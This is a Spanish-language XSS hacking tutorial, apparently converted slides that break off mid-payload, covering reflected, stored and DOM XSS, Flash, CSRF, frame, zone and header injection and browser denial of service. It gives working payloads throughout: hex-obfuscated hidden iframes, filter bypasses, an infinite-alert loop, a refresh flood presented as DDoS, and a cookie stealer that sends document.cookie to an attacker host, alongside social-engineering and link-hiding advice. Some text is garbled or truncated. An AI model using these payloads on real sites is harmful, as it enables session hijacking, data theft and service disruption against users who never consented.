XSS for fun and profit SCG09

SCG09

lord epsylon

.:

XSS

_

Hacking

_tutorial_

SP

.:hacktivism blackbook_1.0:.

“for fun and profit”

.:Índice:.

2.- Tipos de Ataques

- Reflected Cross Site Scripting (XSS Reflejado) - Stored Cross Site Scripting (XSS Persistente) - DOM Cross Site Scripting (DOM XSS)

- Cross Site Flashing (XSF)

- Cross Site Request/Reference Forgery (CSRF) - Cross Frame Scripting (XFS)

- Cross Zone Scripting (XZS) - Cross Agent Scripting (XAS) - Cross Referer Scripting (XRS) - Denial of Service (XSSDoS) - Flash! Attack

- Induced XSS - Image Scripting - anti-DNS Pinning - IMAP3 XSS

- MHTML XSS

- Expect Vulnerability

3.- Evitando Filtros

4.- PoC examples - Bypassing filters

- Data Control PoC - Frame Jacking PoC

5.- Técnicas de ataque

+ Classic XSS - Robando “cookies” + XSS Proxy

+ XSS Shell

+ Ajax Exploitation + XSS Virus / Worms + Router jacking

+ WAN Browser hijacking - DNS cache poison

- XSS Injected code on server - Practical Browser Hijacking

6.- XSS Cheats - Fuzz Vectors

7.- Screenshots

8.- Herramientas

9.- Links

10.- Bibliografía

11.- Licencia de uso

.:Introducción :.

.:Introducción:.

En la presentación se exponen tipos de ataques conocidos, formas de evasión de filtros, diferentes técnicas/finalidades de un atacante y una recopilación de herramientas, links, ideas y vectores válidos.

El Cross Site Scripting (XSS) es la vulnerabilidad más explotada según la OWASP (Open Web Application Security Project)

En el XSS se manipula la entrada (input) de parámetros de una aplicación con el objetivo de obtener una salida (output) determinada que no sea la habitual al funcionamiento del sistema.

Algunas estadísticas afirman que el 90% de todos los sitios web tienen al menos una vulnerabilidad, y el 70% de todas las vulnerabilidades son XSS.

A pesar de tratarse de una temática en seguridad algo antigua, aún siguen apareciendo nuevos vectores de ataque y técnicas que hacen que se encuentra en constante

evolución.

Se trata de un tipo de ataque muy imaginativo.

.:Reflected Cross Site Scripting :.

.:Reflected Cross Site Scripting :.

(OWASP-DV-001)

El ataque Cross-site Scripting (XSS) no persistente; es un tipo de inyección de código en la que éste no se ejecuta con la aplicación web, pero si se origina cuando la víctima carga una URL determinada (en el contexto del navegador).

El escenario más común es el siguiente:

- Atacante crea una URL con el código malicioso inyectado y la camufla - Atacante envía el enlace a la víctima

- La víctima visita en enlace a la web vulnerable

- El código malicioso es ejecutado por el navegador del usuario

(OWASP-DV-001)

Un ejemplo de XSS Reflected podemos verlo de forma practica en páginas web que “saludan” de alguna forma al usuario con su nombre de registro.

http://www.tiendavirtual.com/index.php?user=MrMagoo

Inyección (sin evasivas):

http://www.tiendavirtual.com/index.php?user

=<script>alert(document.cookie);</script>

1) Inyectaremos código para ver la cookie de la víctima. Si estuviera “logueado”

en la aplicación, podríamos secuestrar la sesión que la mantiene activa y hacernos pasar por ella.

(OWASP-DV-001)

Inyección (filtrando caracteres < > y / en Hex):

http://www.tiendavirtual.com/index.php?user

=%3Cscript%3alert(document.cookie);

%3C%2Fscript%3

La aplicación es vulnerable a pesar del filtro y permite inyectar código de forma “reflejada”.

(OWASP-DV-001)

“Aprovechando” el vector (Inline Scripting):

http://www.tiendavirtual.com/index.php?user

=%3Cscript%%20a="%3"%20SRC="http://

blackbox.psy.net/urls_visited1.js"%3%3C%2Fscript%3

El código (con evasivas) ejecutará de forma remota el script en javascript del sitio web del atacante. En el ejemplo ejecuta un código malicioso que recopila el historial de la víctima.

- Ya tenemos el vector de ataque.

- Al ser “reflejado” se ejecuta en el contexto del navegador.

- El procedimiento siguiente del ataque incluye ingeniería social con la víctima.

- La url con el código malicioso puede ocultarse con TinyURL (http://tinyurl.com/create.php)

http://tinyurl.com/lf4vo2

(OWASP-DV-001)

Ejemplo de vector de ataque “reflejado” en un formulario de búsqueda:

El atacante inyecta el código directamente en el formulario de búsqueda de la aplicación web (con o sin evasivas).

http://.www.met.police.uk/cgi-bin/htsearch

(OWASP-DV-001)

Ejemplo de vector de ataque “reflejado” en un formulario de login:

El atacante inyecta el código directamente en el formulario de login de la aplicación web (con o sin evasivas).

.:Stored Cross Site Scripting :.

.:Stored Cross Site Scripting :.

(OWASP-DV-002)

El ataque Cross-site Scripting (XSS) persistente; es un ataque más peligroso que el anterior ya que ejecuta el código inyectado por el atacante en los navegadores de todos los usuarios que vistan la aplicación web. Generalmente se produce en aquellas aplicaciones que permiten a los usuarios guardar algún tipo de dato.

El escenario más común es el siguiente:

- Atacante guarda código malicioso de forma persistente en una web vulnerable - La víctima se identifica en la aplicación con sus credenciales de usuario

- La víctima visita la web vulnerable

- El código malicioso es ejecutado por el navegador del usuario

Este tipo de vulnerabilidades permite tomar el control del navegador de la víctima, capturar información sobre sus aplicaciones, realizar un -defacement- del sitio web, -scanear- puertos de los usuarios de la aplicación web, ejecutar -exploits- basados en el navegador y un mundo imaginativo de posibilidades.

(OWASP-DV-002)

Un ejemplo de XSS “Stored” podemos verlo de forma practica en páginas web que contienen foros o permiten dejar comentarios en los artículos.

En esta “presentación”, la inyección de código será a través de un formulario como el siguiente: Otros lugares donde realizar un ataque “persistente” son:

* Perfiles de usuario: en aplicaciones que permiten al usuario gestionar su

identidad-* Carros de compra: aplicaciones que permiten guardar objetos en un carro de compra “virtual” * Gestores de archivos: aplicaciones qué permiten manejar (subir) archivos

* Configuraciones: aplicaciones que permiten ser configuradas por los usuarios

(OWASP-DV-002)

Para comprobar si la aplicación es vulnerable, podemos insertar un comentario “normal” utilizando determinados tags de HTML (Inyección de código HTML).

Por ejemplo, podemos poner un texto en negrita <b>

Nos permitirá conocer si es posible insertar código “persistente” dejando un comentario.

En Internet no suele ser tan sencillo.

- Es probable que la web utilice filtros de tags y atributos - Pseudocódigo que interprete los estilos

- Funciones tipo: strip_tags() preg_replace() str_replace()

- Otras medidas de filtro de inputs [echo htmlspecialchars($nombre);]

De todas maneras, siempre podemos tratar de construir el código necesario para evadir los filtros y alguna que otra función. Revisar el código. Hay que ser imaginativas ;)

<---

Vector de Ataque

(OWASP-DV-002)

Utilizando ingeniería social el atacante puede escribir un texto que atraiga la atención de las víctimas. Por ejemplo, utilizando un “asunto/comentario” que pueda ser de interés.

Asunto: New Firefox release (fixed)

Comentario:

All bugs fixed in new Firefox release. Download here: (LINK)

Al tratarse de código inyectado “persistente”, los visitantes del sitio web no tienen porque enterarse de su ejecución a nivel de aplicación, si el código malicioso está bien construido.

Varios ejemplos en la mente de “un informático en el lado del mal”, de código a inyectar en el navegador de la víctima, solo por visitar la web que contiene el “comentario”, pueden ser:

1) Ejecución remota de un mensaje de Alert () en el navegador de la víctima. 2) Ejecución de código similar al ejemplo “Reflected” de manera oculta (76%). 3) Denegación de servicio del navegador de la víctima (sin ocultar y oculto).

4) Hacer una redirección y/o toma de control del navegador de la víctima para su uso en un ataque a otra infraestructura.

(OWASP-DV-002)

Podemos realizar un ataque “persistente” igual de avanzado con otros vectores.

Estudiar el código fuente para ver el resultado de las pruebas de cada inyección es la clave en la búsqueda de otro tipo caminos.

Imagina que en el comentario (con o sin evasivas), el atacante prueba a utilizar este simple vector

“>

Asunto: test

Comentario:

“>

A) Para complicarlo, supongamos además que la web no permite inyectar algo tan evidente cómo código HTML y el vector de ejemplo de la “negrita” no nos sirve.

1) Ejecución remota de un mensaje de Alert () en el navegador de la víctima.

(OWASP-DV-002)

Si la aplicación no está bien filtrada, puede ser que “cierre” el campo -value- del formulario que permite dejar comentarios, “rompiendo” el funcionamiento normal y permitiendo inyectar código a continuación.

Así interpretaría el código inyectado la aplicación:

<input type="text" name="comentario" id="comentario" value="

”>

Lo que supone la ejecución de un Alert () en el navegador de la víctima.

2) Ejecución de código similar al ejemplo “Reflected” de manera oculta (iframe+Hex) utilizando la técnica Cross Frame Scripting (XFS)

”>

%30%20%68%65%69%67%68%74%3D%30%20%77%69%64%74%68%3D

%30%20%73%72%63%3D%6A%61%76%61%73%63%72%69%70%74%3A%76%6F

%69%64%28%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D %22%68%74%74%70%3A%2F%2F%62%6C%61%63%6B%62%6F%78%2E%70%73%79%2E %6E%65%74%2F%75%72%6C%73%5F%76%69%73%69%74%65%64%31%2E%6A

%73%22%29%3E%3C%2F%69%66%72%61%6D%65%3E

(OWASP-DV-002)

Código inyectado XFS sin “camuflar”:

”><iframe frameborder=0 height=0 width=0

src=javascript:void(document.location="http://blackbox.psy.net/urls_visited1.js")></iframe>

Al tratarse de código inyectado “persistente”, los visitantes no se darán cuenta de la creación de un iframe “oculto” al visitar el comentario, en el cual, se ejecutará el código remoto de la web del atacante. En el ejemplo usado recopila las urls que ha visitado la víctima.

3) Denegación de servicio del navegador de la víctima

”><script>for (;;) alert("bucle"); </script>

El navegador entrará en un -loop- infinito de apertura de Alerts() obligando a la víctima a

(OWASP-DV-002)

4) Hacer una redirección y/o toma de control del navegador de la víctima para su uso en un ataque a otra infraestructura.

Si la inyección de código “persistente” se realiza en el -index- de una web, un atacante puede hacer que todo el tráfico de usuarios que la visita sea redireccionado a otro lugar. Por ejemplo, puede utilizar la tasa de visitantes para la recarga del propio sitio web o la puesta en marcha de planes más complejos; creación de una red de bots a partir de navegadores y/o robo masivo de datos desde servidores bajo su control.

Redirección directa de la víctima a otra web al cargar la página que contiene el comentario.

”><body onLoad="document.location.href='http://www.webvictima.com'">

Redirección directa de la víctima a otra web después de pasar un tiempo(10s) de la carga de la página que contiene el comentario.

”><meta http-equiv="accion" content="10"; url="http://www.webvictima.com" />

(OWASP-DV-002)

Ejemplo de vector de ataque “persistente” en una página que guarda las búsquedas más recientes:

El atacante inyecta el código directamente en el formulario de búsqueda de la aplicación web (con o sin evasivas) y cualquier visitante que haga click en “Clustered Results” será víctima.

En el ejemplo se trata de un inofensivo mensaje de Alert().

.:DOM Cross Site Scripting :.

(OWASP-DV-003)

.:DOM Cross Site Scripting :.

Ataque Cross-site Scripting (XSS) utilizando el DOM (Document Object Model); es un tipo de inyección de código qué se produce cuando un contenido activo, como por ejemplo una función en -javascript-, es modificada mediante una inyección XSS de manera especial para que controle un elemento DOM, permitiendo al atacante tomar el control del mismo.

El DOM define la manera en que objetos y elementos se relacionan entre sí en el navegador y en el documento. Cualquier lenguaje de programación adecuado para el desarrollo de páginas web puede ser utilizado. En el caso de -javascript-, cada objeto tiene un nombre, el cual es exclusivo y único. Cuando existen más de un objeto del mismo tipo en un documento web, estos se organizan en un vector. Además el DOM, se encarga de activar los -scripts- dinámicos que hacen referencia a componentes del documento, como por ejemplo formularios o -cookies- de sesión.

(OWASP-DV-003)

Esquema de la arquitectura DOM:

(OWASP-DV-003)

Quizás en el caso del DOM el “hack” en si mismo es saber como manipular la API. Esta presentación no pretende explicarlo al detalle (en la sección de links podemos consultar manuales), pero utilizar una serie de funciones como practica pueden servir para entender como manipularla y sacar provecho de los resultados.

Uno de los factores (hay más) que pueden anunciarnos que una página web es vulnerable de un ataque al DOM es una página en HTML que utiliza datos que provienen de:

+ document.location + document.URL + document.referer

Cuando -javascript- es ejecutado en el navegador, éste provee al código -javascript- (servidor) con varios objetos que representan el DOM. El documento además de objetos, contiene -subobjectos- como la localización, la -url- y el -referer-. Eso significa que son entendidos por el navegador directamente, antes de llegar al aplicativo servidor.

Por eso precisamente es tan complicado utilizar contramedidas. Muy pocas aplicaciones en HTML -parsean- la URL accedida desde document.URL o document.location.

(OWASP-DV-003)

Un ejemplo sencillo de la manipulación de la API podemos verlo con el ataque descrito anteriormente de forma “no persistente”.

http://www.tiendavirtual.com/index.php?user=MrMagoo

En nuestra búsqueda anterior hemos localizado la vulnerabilidad en el parámetro “user”.

Vamos a ver que sucede internamente si inyectamos el siguiente código (sin evasivas), y utilizando HTML en vez de PHP:

http://www.tiendavirtual.com/index.html?user=<script>alert(document.cookie)</script>

(OWASP-DV-003)

Lo primero que sucede es que el navegador de la víctima recibe ese -link-, envía una petición HTTP al sitio web al que hemos inyectado código a través de XSS y recibe el código web estático que genera el HTML. El navegador de la víctima comienza entonces el -parseo- del HTML dentro del DOM. El esquema DOM contiene un objeto llamado “documento”, que contiene a su vez, una propiedad llamada “URL”. A partir de dicha propiedad contiene los datos de la URL, como parte del DOM. Cuando el -parseador- llega al código -javascript-, éste lo ejecuta y modifica la -raw- de la página HTML. Si se trata de una -url- hace la referencia a “document.url” y parte del -string- que lo compone es -embebido- durante el -parseo- del código HTML, que es inmediatamente -parseado- a su vez y ejecutado en el contexto de la misma página (“al vuelo”). Por tanto, cualquiera de los vectores XSS descritos en la presentación podrían servir a un atacante.

De todas maneras no siempre es tan sencillo. Suceden dos hechos importantes:

+ No siempre el código malicioso que se trata de -embeber- se carga en la -raw- en HTML ;)

+ Algunos navegadores filtran los caracteres del -string- de la URL. -Mozilla- por ejemplo, codifica los caracteres propios de los scripts (< y >) por %3C y %3E dentro del “document.url” cuando la -url- no es escrita directamente en la barra de navegación.

Sin embargo es vulnerable sino se utilizan dichos parámetros (< y >), por ejemplo, a través de la -raw- (el punto 1). Las usuarias de -Internet Explorer 6.0- están de enhorabuena, son vulnerables “casi” siempre ;)

(OWASP-DV-003)

http://www.tiendavirtual.com/index.html

#

Se sustituye el carácter (?) por un (#).

Algo aparentemente tan sencillo, cambia la interpretación del navegador respecto a lo que le sigue “a su derecha”. En el caso, el navegador entiende que lo que tiene después es un fragmento, es decir, no es parte de una llamada (una -query-).

Los navegadores -Internet Explorer 6.0- y -Mozilla- no envían los fragmentos al servidor y éste la entenderá como una solicitud de http://www.tiendavirtual.com/index.html

Eso significa que el código “inyectado” puede ser que no sea “visto” por el servidor (salvo configuraciones de IDS -detection- , IPS o firewalls de aplicación).

Para hacer un -bypass- de determinadas medidas de prevención “standard” podemos utilizar el siguiente código:

(OWASP-DV-003)

Sin embargo, la técnica tiene puntos a su favor contra dichas medidas. Puede ser invocada de diferentes lugares y formas (aquí van unos cuantos códigos de “hacks” válidos):

http://www.tiendavirtual.com/index.html?notname=<script>(document.cookie)</script>

Utilizamos la concatenación inversa “not”

http://www.tiendavirtual.com/index.html?notname

=<script>alert(document.cookie)<script>

&

Utilizamos “not” y el parámetro “&” que completa la petición del servidor en caso de ser requerida

http://www.tiendavirtual.com/index.html?foobar=name

=<script>alert(document.cookie)<script>

&

.:Cross Site Flashing :.

(OWASP-DV-004)

-Actionscript- es un lenguaje basado en -ECMAScript- (1996) utilizado por las aplicaciones en flash para interactuar con los usuarios.

Los ficheros fuente de flash tienen la extensión .SWF

Pueden ser interpretados utilizando una máquina virtual -embebida- en el propio reproductor de flash, lo que permite -decompilarlos- y analizarlos detenidamente.

Un buen -decompilador- libre para “ActionScript 2.0” es “flare” (http://flare.prefuse.org/)

---Para “ActionScript 3.0” existen versiones -shareware- como:

+ Sothink SWF Decompiler 4.5 (Windows 98/NT/2000/ME/XP/VISTA)

+ SWF Decompiler 5.0 Build 504 (MacOS X 10.4.10 o anteriores)

+ Trabajo pendiente en GNU/Linux

(OWASP-DV-004)

Comandos útiles para la manipulación de objetos Flash:

.:Cross Site Flashing :.

Para -decompilar- una pelicula.swf a pelicula.flr

flare movie.swf

Para compilar una pelicula.as (ActionScript) a una pelicula.swf

mtasc -version n -header 10:10:20 -main -swf movie.swf movie.as

Para -desensamblar- el “swf” a

flasm -d movie.swf

Recoger etiquetas y nombres de frames desde un .swf

swfmill swf2xml movie.swf movie.xml

Generalmente las trazas y errores se guardan en:

(OWASP-DV-004)

-Actionscript- utiliza las -FlashVars- (variables de flash) para recibir los parámetros que le pasan los usuarios desde la página web. Generalmente utiliza los tags “<embed>” y “<object>”.

<object width="200" height="100">

<param name="movie" value="movie.swf" />

<param name="FlashVars" value="var1=valor1&var2=valor2" /> <embed src="miSwf.swf" width="100" height="100

FlashVars="var1=valor1&var2=valor2"/> </object>

Sin embargo, es recomendable utilizar SWFObject porque permite ser:

- Ejecutado desde la propia barra de navegación - Cargado dentro de un <frame>

- Cargado dentro de un <iframe>

<script type="text/javascript">

var so = new SWFObject("movie.swf", "my", "200", "100", "8", ""); so.addVariable("var1", "valor1");

so.addVariable("var2", "valor2"); so.write("divmovie");

</script>

(OWASP-DV-004)

trace(_root.var1); // imprime "valor1"

trace(_root.var2); // imprime "valor2"

.:Cross Site Flashing :.

Cuándo se utilizan las -Flashvars- son reconocidas como elementos _root de la “película” principal. Para acceder a dichas variables desde “ActionScript 2.0” utilizamos el siguiente código:

Las variables de tipo externo se encuentran en la propiedad “LoaderInfo”.

Utiliza un método llamado “parameters”.

Para accederlo utilizamos el siguiente código:

var param:Object = LoaderInfo(this.root.loaderInfo).parameters; trace(param["var1"]); // imprime "valor1"

trace(param["var2"]); // imprime "valor2"

(OWASP-DV-004)

.:Cross Site Flashing :.

Un ataque de tipo Cross-site Flashing sucede por ejemplo, cuando una película carga otra película utilizando la función “loadMovie”.

Podría suceder que una página en HTML que utiliza -javascript- para “hacer un -script-” de una película “Macromedia Flash” llamara a determinados parámetros como:

+ GetVariable: permite acceso a los objetos públicos y estáticos desde -javascript- a un -string-+ SetVariable: establece un objeto de forma estática o pública a un valor -string- desde

-javascript-Por ejemplo, Flash utiliza la función “GetURL” para cargar una película de una URL en una ventana del navegador:

getURL('URI','_targetFrame');

Eso significa que es posible llamar a -javascript- dentro del mismo dominio donde se encuentra la película.

getURL('javascript:codigomalicioso','_self');

getUrl('javascript:function('+_root.ci+'))

(OWASP-DV-004)

.:Cross Site Flashing :.

Inyección de código HTML sobre Flash (a través de tags)

El reproductor de Flash puede interpretar diferentes tipos de -tags- y tiene muchas posibles variantes de ataques.

En la presentación vamos a ver dos de las más sencillas:

+ La etiqueta “A”: <a href='URI'>texto</a>

+ La etiqueta “Img”: <img src='URI' id='FlashObjectID'>

Flash utiliza un “pseudoprotocolo” para las -URLs- en HTML llamado “asfunction”.

La sintaxis es la siguiente: asfunction:function,parameter

function MyFunc(arg){ trace ("Clickado "+arg); }

(OWASP-DV-004)

.:Cross Site Flashing :.

http://url?buttonText=<a href='javascript:alert(XSS)'>Clickame</a>

Mostrar un Alert():

<a href='asfunction:getURL, javascript:alert(XSS)'> Clickame</a>

Llamar a una función “ActionScript”:

<a href='asfunction:function,arg' >

Llamar a las funciones SWF públicas:

<a href='asfunction:_root.obj.function, arg'>

Llamar a una función estática nativa “ActionScript” desde un servidor propio:

(OWASP-DV-004)

.:Cross Site Flashing :.

Su sintaxis habitual es la siguiente:

<img src='image.jpg'> // <img src='url' id='nombreobjecto'>

Se puede realizar un XSS si la política externa de la película en Flash es =< 7

Por ejemplo utilizando el ejemplo de “Eye On Security” XSS.as:

class XSS {

public static function main(){

getURL('javascript:alert(XSS)') ; }

}

Compilar: mtasc -version 7 -swf evilv7.swf -main -header 1:1:20 XSS.as

http://url?buttonText=<img src='http://evil/evilv7.swf'>

(OWASP-DV-004)

.:Cross Site Flashing :.

Flash no permite inyectar código javascript directamente a través de una URL con el -tag- “IMG”. Generalmente chequea en búsqueda de las extensiones “.jpg” y “.swf” y bloquea la carga si el proceso falla.

Podemos ejecutar -javascript- utilizando la extensión “.jpg” para hacer un “bypass”.

<img src='asfunction: path.to.function, arg .jpg' >

<img src='javascript: alert(XSS); //.jpg' >

Además, el atributo “ID” de la etiqueta “IMG” contiene la referencia de la película .SWF

_root.createTextField("my_txt", 4, 100, 100, 300, 400); var img = _root.my_txt.objid

Por ejemplo, un atacante puede tratar de sobreescribir el atributo con el siguiente código para chequear los permisos de lectura sobre los objetos del “prototipo”:

id='__proto__'

O para chequear los permisos de lectura sobre los objetos “parent”:

.:Cross Site Request Forgery :.

.:Cross Site Request Forgery :.

(CSRF)

El ataque Cross-site request/reference forgery (CSRF/Session Riding) es un tipo de ataque que afecta a determinadas estructuras de aplicativos que pueden ser predecibles. Explota la confianza que una aplicación tiene en un usuario en particular, a través de la imposibilidad que tiene ésta de diferenciar una petición de una posible víctima o de su atacante (“Confused_deputy” -1988).

En el caso de las aplicaciones web (ejemplo en esta “presentación”), se podría decir que son una forma “inversa” de Cross-site ya que no explota la confianza que tiene un usuario en un sitio sino que se aprovecha de la confianza que un sitio tiene en el usuario.

El escenario más común es el siguiente:

- Atacante crea una URL con el código malicioso inyectado y la envia a un servidor vulnerable. - La víctima se “loguea” en la página web y mantiene abierta una “sesión”

- La víctima visita el enlace del atacante

- El código malicioso es ejecutado por el navegador del usuario

Este tipo de ataques generalmente se utilizan para -postear- mensajes en foros, realizar suscripciones a -newsletters-, otras técnicas en aplicaciones con “carros de compra” y denegaciones de servicio (-redireccionando- a la víctima).

.:Cross Site Request Forgery :.

(CSRF)

Un ejemplo de CSRF podemos verlo de forma practica en páginas web que “realizan acciones” a través del método GET (aunque es posible con POST).

Un atacante puede realizar CSRF utilizando HTML y -javascript- con el siguiente código:

<img src="http://tiendavirtual.com/?comando>

<script src="http://tiendavirtual.com/?comando">

<iframe src="http://tiendavirtual.com?comando">

<script>

var foo = new Image();

foo.src = "http://tiendavirtual.com?comando"; </script>

.:Cross Site Request Forgery :.

(CSRF)

Un atacante puede realizar CSFR a través de XMLHTTP utilizando la API del DOM: XMLHttpRequest (XHR)

<script>

var post_data = 'name=value';

var xmlhttp=new XMLHttpRequest();

xmlhttp.open("POST", 'http://url/path/file.ext', true); xmlhttp.onreadystatechange = function () {

if (xmlhttp.readyState == 4)

{ alert(xmlhttp.responseText); } }; xmlhttp.send(post_data); </script>

.:Cross Site Request Forgery :.

(CSRF)

<script>

var post_data = 'name=value';

var xmlhttp=new ActiveXObject("Microsoft.XMLHTTP"); xmlhttp.open("POST", 'http://url/path/file.ext', true);

xmlhttp.onreadystatechange = function () { if (xmlhttp.readyState == 4)

{

alert(xmlhttp.responseText); }

};

xmlhttp.send(post_data); </script>

El modulo CGI.PM de -perl- es también muy útil para modificar este tipo de peticiones.

.:Cross Site Request Forgery :.

(CSRF)

Ejemplo de ataque CSRF sobre una aplicación web de compras “online”.

Formulario HTML para realizar la compra:

<form action="comprar.php" method="POST">

<p>Objeto: <input type="text" name="objeto" /></p> <p>Precio: <input type="text" name="precio" /></p> <p><input type="submit" value="Comprar" /></p> </form>

Código PHP que recibe la petición (función comprar_objetos ficticia):

<?php

session_start();

.:Cross Site Request Forgery :.

(CSRF)

Código para inyectar utilizando un vector XSS (utilizado en ejemplos anteriores):

“>

Si la víctima ejecuta la inyección XSS realizará sin saberlo una solicitud a la “tienda virtual” como si hubiera hecho -click- el link de la URL, en el caso, que compra una curioso objeto ^^

.:Cross Frame Scripting :.

.:Cross Frame Scripting :.

(XFS)

El ataque Cross-frame Scripting (XFS); se lleva a cabo cuando el código malicioso inyectado por un atacante utiliza -frames- para cargar código externo y sin la autorización de la víctima.

El secreto está en la manipulación de variables.

Una aplicación vulnerable contiene el siguiente código:

cat saludo.php <?php

print "Hola mundo!"; print $_GET['saludos']; ?>

Un atacante puede inyectar un iframe en su petición que la aplicación dará por válida, en el caso, enviando las urls visitadas de la víctima al atacante.

/saludo.php?saludos=<iframe frameborder=0 height=0 width=0

.:Cross Zone Scripting :.

(XZS)

.:Cross Zone Scripting :.

El ataque Cross-zone Scripting (XZS); permite a un atacante inyectar -scripts- desde zonas “sin privilegios”, como si fueran ejecutados con “permisos de zona”. El resultado se conoce como escalada de privilegios.

El concepto de -Local Computer zone- o "zona" surge a raíz de Internet Explorer (Q174360). En la actualidad hay otros navegadores que también lo usan.

Concretamente -Internet Explorer- tiene las siguientes zonas:

- Internet: zona por defecto que ejecuta todo aquello que no se encuentra en las otras zonas.

- Intranet: zona de ejecución para la intranet local.

- Sitios seguros (trusted sites): zona dedicada a los sitios web que permitimos ejecutar software con pocos permisos (objetos ActiveX o “applets” por ejemplo)

- Sitios restringidos (restricted sites): zona dedicada a los sitios a los que restringimos nuestro acceso

(XZS)

.:Cross Zone Scripting :.

Ataque Cross-zone Scripting (XZS) sobre la zona “Intranet” (IE):

Un ejemplo puede ser el siguiente escenario:

- Un atacante descubre una vulnerabilidad en la -intranet- de una aplicación web.

http://intranet.tiendavirtual.com/users.php?=vector XSS

- Los “compradores” de la “tienda virtual” suelen subir sus comentarios a través del sitio principal.

- El atacante inyecta código malicioso en la web principal utilizando alguna de las técnicas de XSS descritas que “apunta” a la -intranet-. Por ejemplo:

http://intranet.tiendavirtual.com/users.php?=<script>alert()</script>

Si el servidor que contiene la aplicación considera que “intranet.tiendavirtual.com” pertenece a la “Intranet Local” y un usuario ejecuta el código malicioso, la inyección se ejecutará en dicho contexto (con los privilegios asignados a la zona) a pesar de ser llamados desde la web principal.

(XZS)

.:Cross Zone Scripting :.

Ataque Cross-zone Scripting (XZS) sobre la zona “Sitios Seguros” - Trusted zone:

El ejemplo más conocido es el bug

%2f

de

http://tiendavirtual.com%2F%20%20%20.http://blackbox.psy.net/

La vulnerabilidad permite visualizar la página web del atacante en el contexto del dominio de la “tienda virtual”. Probablemente en la “Trusted zone”. Para poder realizarlo correctamente, la web del atacante debe estar configurada para aceptar valores inválidos en la cabecera HTTP “Host:”

Ataque Cross-zone Scripting (XZS) sobre la zona “Local Computer” en un WIN32 :

<html>

<img src="codigomalicioso.gif">

<script src="file://C:\Documents and Settings\Administrator\

.:Cross Agent Scripting :.

(XAS)

.:Cross Agent Scripting :.

En determinadas aplicaciones es posible inyectar código a través de la modificación de las -cabeceras- HTTP.

Un ejemplo donde probar un “XSS” es el -string- del -parámetro- “User-Agent”.

El nombre Cross Agent Scripting (XAS) proviene del uso de dicho vector.

Un atacante puede modificar el “User-Agent” de su navegador (Mozilla:“ModifyHeaders”) para realizar una inyección de código. Por ejemplo para mostrarse su propia cookie.

<script>alert(document.cookie);</script>

La aplicación será vulnerable si el código que identifica el “User-Agent” es por ejemplo:

.:Cross Referer Scripting :.

(XRS)

.:Cross Referer Scripting :.

En determinadas aplicaciones es posible inyectar código a través de la modificación de las -cabeceras- HTTP.

Un ejemplo donde probar un “XSS” es el -string- del -parámetro- “Referer”.

El nombre Cross Referer Scripting (XRS) proviene del uso de dicho vector.

Un atacante puede modificar el “Referer” de su navegador (Mozilla:“ModifyHeaders”) para realizar una inyección de código. Por ejemplo para mostrar un Alert().

.:Denial of Service :.

(XXSDoS)

.:Denial of Service :.

Es posible realizar -Denegaciones de Servicio- en el cliente/navegador de la víctima inyectando el siguiente código malicioso a través de un vector XSS:

<script>for (;;) alert("bucle"); </script>

El navegador entrará en un -loop- infinito de apertura de Alerts() obligando a la víctima a

(XXSDoS)

.:Denial of Service :.

Es posible realizar -Denegaciones de Servicio- en el servidor de una web inyectando código malicioso a través de un vector XSS, que “obligue” a las víctimas a conectarse repetidamente:

<meta%20http-equiv="refresh"%20content="0;">

El código anterior ejecutará un refresco infinito del navegador de la víctima “contra” el servidor de manera oculta (ampliar con XSS proxy). Puede provocar que la base de datos de la aplicación web se inunde de determinadas peticiones y la web deje de funcionar, si se realiza de forma masiva.

Además el navegador entrará en un -loop- infinito de refresco obligando a la víctima a cerrarlo.

Se puede hacer una combinación con multitud de navegadores para realizar “Denegaciones de Servicio Distribuidas” (DDoS) contra una web objetivo.

Flash! Attack es un tipo de ataque basado en la inyección de código a través de Macromedia Flash Plugin/Active X control. Los documentos en Flash (.SWF) se utiliza para crear animaciones basadas en una linea de tiempo (juegos, simulaciones,- banners-, páginas web).

.:Flash! Attack :.

La "presentación" tratará algunos ejemplos de ataques XSS sobre páginas web que interpretan ActionScript. Es decir, que permiten visualizar documentos en Flash a través de un “visor”.

Sino se encuentra -filtrada-, un atacante puede usar la función GetURL() para realizar peticiones de código externas. Su sintaxis es la siguiente:

getURL(url:String, [window: String,[method:String]])

Generamos el siguiente código (en el ejemplo, para mostrar un Alert() con la “cookie”) utilizando ActionScript y lo guardamos como .SWF (cook_alert.swf)

getURL(“javascript:alert(document.cookie)”)

Lo siguiente es subir el fichero a la página web víctima. La sintaxis suele ser utilizando la etiqueta “Embed”:

<embed

src="http://blackbox.psy.net/flashattack/cookies/cook_alert.swf"

pluginspage="http://www.macromedia.com/shockwave/download/index.cgi? P1_Prod_Version=ShockwaveFlash"

type="application/x-shockwave-flash" width="0" height="0">

</embed>

.:Flash! Attack :.

Para “subir” nuestro código malicioso (cook_alert.swf) anterior sería el siguiente ejemplo:

[flash]http://blackbox.psy.net/flashattack/cookies/cook_alert.swf[/flash]

Seguramente el -script- del servidor interpretará la petición de la siguiente manera:

.:Flash! Attack :.

Flash! Attack sobre una página web que permite “subir” contenidos -ActionScript- a través de la etiqueta “Flash”

<object

classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width=200

<param name=quality value=high>

<embed

src=http://blackbox.psy.net/flashattack/cookies/cook_alert.swf width=200

height=200 play=true loop=true quality=high>

</embed> </object>

.:Flash! Attack :.

Cualquier usuario que visite la web en la que se “ejecuta” la visualización del

fichero .SWF malicioso, recibirá un mensaje de Alert() con su cookie.

.:Flash! Attack :.

Función para hacer un -bypass- de algunos filtros comunes para

-ActionScript-Generalmente los desarrolladores que permiten “subir” contenido en Flash generan -scripts- que tratan de hacer un -parseo- del código antes de darlo por válido.

Por ejemplo, evitando determinados -strings-

javascript:alert(document.cookie)

Sin embargo, -ActionScript- permite utilizar la función Eval (), muy útil para realizar las inyecciones sin necesidad de utilizar un -string- “típico”. Guardamos el fichero como .SWF

a="get"; b="URL";

c="javascript:";

d="alert(document.cookie);void(0);"; eval(a+b)(c+d);

Resultado de código a inyectar:

.:Flash! Attack :.

Es posible robar la -cookie- de sesión del navegador de la víctima.

La técnica es explicada con detalle más adelante.

Para realizar un robo de sesión mediante Flash! Attack, podemos seguir los siguiente ejemplos:

1) Ejemplo de fichero -javascript- que recoga la -cookie- desde un servidor remoto.

document.location="http://blackbox.psy.net/flashattack/cookies/cookie_stealer? cookie="+document.cookie;

2) Ejemplo de código malicioso a inyectar (cook_stealer.swf)

GetURL("http://www.tiendavirtual.com/media.php?var=<script

